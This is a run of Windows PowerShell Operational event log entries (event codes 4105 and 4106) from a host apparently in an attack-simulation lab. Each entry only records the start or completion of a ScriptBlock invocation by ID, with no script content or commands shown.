OpCode=On create calls
RecordNumber=2031621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031620
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031619
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031618
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031617
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031616
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031614
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031613
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031612
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031611
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031610
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031609
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031608
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031607
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031605
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031604
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031603
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031602
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031601
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031600
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031599
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031598
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031596
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031594
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031593
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031592
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031591
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031590
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031588
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031587
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031586
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031585
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031584
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031583
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031582
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031581
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031580
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031579
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031578
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031576
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031575
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031572
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031571
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031570
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031569
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031568
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
